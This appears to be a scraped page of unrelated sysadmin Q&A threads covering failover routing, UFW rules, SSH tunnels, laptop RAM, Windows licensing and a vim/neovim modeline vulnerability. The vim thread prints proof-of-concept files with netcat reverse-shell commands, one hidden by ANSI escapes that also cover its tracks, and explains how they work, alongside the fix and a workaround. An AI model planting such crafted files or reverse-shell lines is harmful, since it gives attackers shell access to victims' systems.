Thursday, October 1, 2015

networking - different inbound outbound network path for web services



Can we have inbound and outbound traffic for services such as OpenVPN routed along different paths within our local network but using the same modem?



I ask for our internet failover strategy.



For example say we normally have





  • Modem A <- DMZ forwarded to -> Firewall 1 CentOS box <- TCP port 25 -> Mail Systems

  • Modem B <- DMZ forwarded to -> Firewall 2 CentOS box <- UDP port 1194 -> OpenVPN Server for routed LAN to LAN connections



With both LAN sides of the Firewalls on the same LAN and same subnet. The default gateways are:




  • Mail Systems have LAN IP of Firewall 1 as their default gateway.


  • OpenVPN server have LAN IP of Firewall 2 as its default gateway.



Then both modems A & B lose their internet connection and we want to use Modem C. Can we just




  • change the default gateways on Firewalls 1 and 2 to be Modem C's IP address

  • and setup Modem C to forward DMZ to Firewall 1

  • and tell Firewall 1 to forward UDP port 1194 (OpenVPN) traffic to the OpenVPN server

  • and update our MX record to point to the WAN IP of Modem C (yes I know it takes a while for DNS entries to propagate through the internet)




This will result in OpenVPN traffic coming in Modem C's WAN IP, being forwarded by DMZ rule to Firewall 1, which forwards the traffic on to the OpenVPN server, which then goes to respond via Firewall 2, which should send the traffic on through Modem C.



Will that work? If OpenVPN is too security paranoid what about other services?



This is a bit of a simplification of our network so the statement "just use port forwarding on Modem C to the right firewalls" is more work than it sounds.


Answer



It turns out that you can have the default route on a server go via a different path back out the same internet connection it came in without doing anything special.


mysql - Translating IPTables rule to UFW



we are using an Ubuntu 12.04 x64 LTS VPS. Firewall being used is UFW.

I have setup a Varnish + LEMP setup. along with other things, including an Openswan IPSEC VPN from our office to the VPS data center. A second in house Ubuntu box is to act as MySQL slave and fetch data from the VPS through the VPN.



Master's ppp0 is seen as 10.1.2.1 from the slave, they ping etc.



I have done the various required tasks but I can't get the client (slave) MySQL (nor telnet 10.1.2.1 3306) to access the master through the VPN unless I issue this fairly obvious IPTables command:



iptables -A INPUT -s 10.1.2.0/24 -p tcp --dport 3306 -j ACCEPT


I willingly forced the accepted input to come from the last octet.

With this rule everything works just fine!



However I want to translate this command to UFW syntax so to keep everything in one place.



Now I admit being inexperienced with UFW, I prepared rules like:



ufw allow proto tcp from 10.1.2.0/24 port mysql


and 2-3 variations involving specifying 3306 instead of mysql, specifying a target IP (MySQL's my.cnf at the moment is configured as 0.0.0.0) and similar but I just don't seem to be able to replicate the simple iptables rule in a functional way.




Anyone could kindly give me a suggestion that is not to dump UFW?



Thanks in advance.


Answer



The command



ufw allow proto tcp from 10.1.2.0/24 port mysql



adds the following to iptables



iptables -L ufw-user-input -vn
Chain ufw-user-input (1 references)
pkts bytes target prot opt in out source destination

0 0 ACCEPT tcp -- * * 10.1.2.0/24 0.0.0.0/0 tcp spt:3306


note the spt this says the source port of the packet needs to be 3306. You need to tell UFW to allow packets with a destination of port 3306.




ufw allow proto tcp from 10.1.2.0/24 to any port mysql


which adds a rule like this



iptables -L ufw-user-input -vn
Chain ufw-user-input (1 references)
pkts bytes target prot opt in out source destination


0 0 ACCEPT tcp -- * * 10.1.2.0/24 0.0.0.0/0 tcp dpt:3306


which will allow packets destined to port 3306 from 10.1.2.0/24.


bash - vim/neovim reverse shell vulnerability - why does this work?


Warning


This question includes code from the original description of the vulnerability and proof of concept file. It will in the worst case open a reverse shell that may grant privileges to other users and provide a shell interface to outside attackers. Do not execute this on unless (1) you know that your system is not accessible to third parties (firewall, no multi-user-systems) and (2) you know how to shut the shell down if it accidentally opens.


Explanation


A vim/neovim vulnerability was discovered recently (and has been patched now in vim 8.1.1467). Besides instructions for patching, a proof of concept was included as a text file with the content


\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

The idea seems to be that while the text file will appear to onlu contain the string "Nothing here.", it will open a reverse shell /bin/sh on port 9999 with netcat (nc) when opened with unpatched vim/neovim versions.


It appears that this vulnerability has been there and remained undetected for quite a number of years. Patching, updating (not available on all systems yet) or disabling modelines will fix the problem. Of course, there are no guarantees that similar vulnerabilities might not continue to pop up in the future. This is why I think it useful to study this one.


Question


However, I have trouble understanding why the code works in the first place.


The string is a mix of



  • special characters (the \x[hex][hex] codes)

  • shell commands (nohup, nc)

  • vim commands (silent, call system(), file, redraw, w)

  • inconspicuous strings


Further, the part


# vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!

is the modeline bit that ensures the injected command is executed while


:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent!

appears to be the actual command with the nohup nc 127.0.0.1 9999 -e /bin/sh starting the reverse shell).


However, if you open vim manually and just execute the command part


:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0

it will fail with an error


E15: Invalid expression: \'nohup (...)
E116: Invalid arguments for function system

I do not think I really understand (beyond what I explained here)


(1) what the command does and why it works,
(2) consequently, how likely it is that vulnerabilities like this one will resurface,
(3) and, if there are any other measures that can be taken to protect against these (besides obviously keeping the software up to date and perhaps disabling modelines (which would, however, be a major inconvenience))

Answer



The CVE


CVE-2019–12735 in Vim and NeoVim is a command execution vulnerability, which allows an attacker to run a local command by having the user edit a file crafted to expose this vulnerability in Vim.


The vulnerability existed because the :source! command failed to check whether it was running inside a sandbox, in which case it should have simply aborted rather than continuing the operation.


The sandbox is typically used to evaluate dangerous options in the modeline, which is a line that can be included at the top or bottom of files to configure the Vim editor to set appropriate options when editing them. (It can be useful to set different tab size, whether to expand tabs to spaces, whether to load syntax highlighting and indenting for a specific language that doesn't match the file extension, etc.)


Some of the options that can be included in a modeline allow arbitrary expressions, so when Vim finds them in the modeline, it evaluates them in the sandbox, which blocks (or rather should block) and dangerous commands which would typically lead to vulnerabilities when allowed in a modeline.


The fix


The vulnerability was fixed in Vim 8.1.1365, by this commit, which ensures the :source! command is disallowed when inside a sandbox.


Workaround


Since this vulnerability happens when processing commands from the modeline, disabling processing of the modeline by adding set nomodeline to your .vimrc will work around the issue. (With the side effect that modelines will stop working, at all. If you relied on them to set tab size or shift width, etc., that could be a considerable annoyance.)


The exploit


Perhaps let's start by looking at a simpler proof-of-concept, detailed in this article. Unfortunately, Medium messes up with the double quotes, but the command used in the proof-of-concept is:


:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

We can even keep it simpler, and use a simple echo command for the exploit part. Since all we need is to show that we're able to run arbitrary local commands, using echo should be enough to demonstrate (and, if interested, you can confirm that you can successfully replace that with a reverse proxy using nc or similar.)


:!echo "I am vulnerable" ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

(In fact, this is also similar to the one you linked here, which uses an uname -a command as demonstration of running a local command.)


If you save this to a file, any file, about any extension, and open it with a Vim pre-fix, you'll see "I am vulnerable" printed before Vim starts.


Let's break this down now.



  • :! will execute a shell command. It will interpret the rest of the whole line as a shell command.

  • [echo "I am vulnerable" || ...]: Let's address the || part. It's actually a valid shell construct that will execute the second command if the first one fails (as in, returns non-zero.) For instance, if you use false || echo Failed, it will print "Failed". On the other hand, the second command is not executed if the first one succeeds. So true || echo Failed will not echo "Failed" or anything else. In fact, the second command can be invalid and the shell will not complain about it, since it won't execute it. So true || xyzinvalid abcinvalid whatever should be fine. The only restriction is that quoting needs to be done correctly, because the shell will break the second command into words to check that it's valid, so if you have double quotes, you need to have an even number of them.

  • " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" This is what's happening with this second part! When this is executed by :! as a shell command, this is considered as a second command. That's the only reason fdt=" was added at the end, so the quotes match.

  • vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" Now this part is also interpreted as the modeline. It sets several options related to folding. The reason for that is that folding is one of the features that can have options set on the modeline that should be executed in the sandbox. It sets 'foldenable', sets 'foldmethod' to expr, and 'foldlevel' to zero. All so that the fold expression will be evaluated. (It's also setting 'foldtext' to a double quote, but that's just to placate the shell which wants balanced quotes!)

  • fde=assert_fails("source\!\ \%") is actually where the exploit lies. 'foldexpr' is evaluated in a sandbox, but the exploit makes it so that the source! command will not check for that. The assert_fails() function is simply used in order to run an Ex command as part of an expression. And the command used, after unescaping, is source! %, which sources the current file as a Vim script, and in turn executes the :! command which ends up calling the external command in the shell.


The more contrived exploit


The other exploit is more complicated by the fact that it packs a bunch of ANSI escape sequences, so that looking at the file with cat will hide the malicious code and only show a harmless message.


The file actually needs to be pre-processed so it actually works, in order to process the \x1b sequences and turn them into an actual ESC character. In doing so, it will also turn \' into a simple single quote, and \\ into a single backslash.


Save those contents to escaped-poc.txt, then process it with:


$ echo -e $(poc.txt

This resulting poc.txt is the one that should trigger the exploit code.


If you show it with cat, it should simply show this:


$ cat poc.txt
Nothing here.

If you open it in a vulnerable Vim, it should trigger the external command (opening the reverse shell) and it should modify the file so that the exploit code is gone (covering its tracks.)


A lot of the Vim code handles covering its tracks. In particular, that S right at the beginning (SNothing here.\x1b) is replacing the whole line with "Nothing here.", then escaping insert mode and doing a :silent!w to write the file. Calling :file makes Vim print information about the file, which is usually what it prints when you first open the file (so it mimics the output you see when you open a non-malicious file.)


Finally, instead of using a shell command after || to ignore the rest of the line, where the modeline is hidden, it uses the silent! # " vim: ... part. This is possible because this time around the exploit is using the system() function rather than the :! command.


This actually runs the :# command (synonymous of :number), which prints the current line number. But it does it under :silent!, so nothing gets printed. Finally, the " after # starts a Vimscript comment, which makes Vim ignore the rest of the line when reading the file as Vimscript.


The actual exploit happens again in the modeline, again using 'foldexpr' with the help of assert_fails(). This time though, the expression resets 'foldexpr' the first time it's called, so that it doesn't try to respawn the command more than once and also so it leaves fewer traces behind.


The set of escape sequences used to hide the malicious code are worthy of a post of their own. In particular, the very first ones right at the start of the file are evaluated both as escape sequences (when using cat on the file) as well as Vim normal mode commands, since that's where Vim begins when the file is read through :source!.


Overall, a very interesting case study!


linux - ssh tunnel - bind: Cannot assign requested address



Trying to create a socks (-D) ssh tunnel - Linux box to Linux box (both centos):



sshd running on remote side ok.




From local machine we do / see this:



ssh -D 1080 user@8.8.8.8.
user@8.8.8.8's password:
bind: Cannot assign requested address


(where 8.8.8.8 is really my server's IP and 'user' is my real username)




I am logged into the remote side in this terminal-window. I can verify that the local port was unused prior to this command, and then used by an ssh process, after the command, via:



netstat -lnp | grep 1080


So, unlike most googled-responses with this error, the problem would not seem to be the loopback interface assignment. If I try to use this tunnel with a mail client, the local-side permits the attempt (no 'proxy-failed' error), but no data / reply is returned.



On the remote side, I do have "PermitTunnel yes" in my sshd_config (though 'yes' should be the default, anyway).



Ideas or Clues?




Here is the relevant debug-output



OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *

....

debug1: Authentication succeeded (password).

debug1: Local connections to LOCALHOST:1080 forwarded to remote address socks:0
debug1: Local forwarding listening on 127.0.0.1 port 1080.
debug1: channel 0: new [port listener]
debug1: Local forwarding listening on ::1 port 1080.
bind: Cannot assign requested address
debug1: channel 1: new [client-session]
debug1: Entering interactive session.
debug1: Sending environment.
debug1: Sending env LANG = en_US.utf8



Other clue: If I run a Virtual Box on the client running Windows, open a tunnel with putty in that box, that tunnel, to the same remote server, works.



Stranger Still" If I use Putty (for linux) running directly on the Linux Client, it does NOT work, even if the settings are an exact duplicate of the putty settings which DO WORK in Putty running on Windows in a Virtual Box on the same Client Machine?? There is something fishy ... still trying experiments to figure out what it is.


Answer



The close the loop here. The answer, in this case, was to force the ssh client to use ipv4. E.g.



ssh -4 -D 8081 user@8.8.8.8

memory - How do I determine which type of RAM my laptop uses?


I have a HP Compaq Presario CQ56-103ST laptop and I want to learn whether it uses DDR2 or DDR3 RAM.



  • In its official web page, it is said that it has 3 GB DDR2 (1 x 1024 MB + 1 x 2048 MB).
    (Obviously not so. It has only 2GB of RAM installed in a single slot.)


  • In this page, it is said that it uses DDR2 PC2-6400, DDR2 (non-ECC).


  • Windows says that memory size is 2GB, doesn't tell about its type.
    (Yes, it is indeed 2GB.)


  • CPU-Z says that it is 2GB DDR2 RAM.
    Memory Tab
    CPU Tab Mainboard Tab
    (CPU and Mainboard)


  • Pictures I shot doesn't reveal any information to me.
    Picture 1 Picture 2



It looks like to be DDR2, but I can't make sure about that. I don't have the user manual of the laptop with me right now. Can anyone please confirm it for me? I'm going to purchase new RAM units, I need to know the RAM type. If I order a wrong type of RAM, it will be a lot of trouble for me.


Answer



Check out wikipedia:
http://en.wikipedia.org/wiki/File:Laptop_SODIMM_DDR_Memory_Comparison_V2.svg
enter image description here


Then count the pins next to the notch to confirm that it is DDR2.
(Or check your picture. Enlarged it is easier to count and there are 20 pins before the notch).


Also useful to known: PC6400 aka DDR2-800 runs at 400 MHz (which explains your CPU-Z value)


windows 7 - Can I legally downgrade from Win 7 64 bits to Win 7 32 bits?






Tired of the unstable Win 7 64bit I got when I purchased my laptop (it was impossible to find a powerful laptop with Win 7 32 bits).


Can I legally downgrade from Win 7 64 bits to Win 7 32 bits?
The key/activation will work?




Details: Everybody comments about the stability of Win 64.
Well, I made a mistake. Is not that Win 64 is unstable (it never crashed). It just works very poor. It feels choppy. Compiling a large program (on an old AMD desktop PC) takes 1.5 seconds on Win 32. The same program compiles on Win 64 in 4-5 seconds in this new and "powerful" laptop. All programs are less responsive.


Answer



Yes for retail Windows 7 licenses.


When you buy the retail DVDs Microsoft gives you both versions, 32 and 64. As long as you only install and license one of them at a time, Microsoft doesn't really seem to care which you use. I have downgraded one system with no issues - though you will have to backup and reinstall everything - but you knew that.


For OEM licenses, at the time you purchase an OEM copy of Windows 7 to be preinstalled on a new PC, you must choose either 32-bit or 64-bit Windows. Your agreement with the OEM determines whether you can switch to a different version; some PC makers support only a single version with specific PC models and will not allow you to switch from 32-bit to 64-bit (or vice versa) after purchase. Source


fedora - How to create bootable USB drive from DVD

I have a DVD with fedora 20 in it. My DVD drive doesn't work so I need to boot from an USB. I have copied the contents of the DVD into a USB drive and now how can I make this drive bootable?

linux - How to SSH to ec2 instance in VPC private subnet via NAT server

I have created a VPC in aws with a public subnet and a private subnet. The private subnet does not have direct access to external network. S...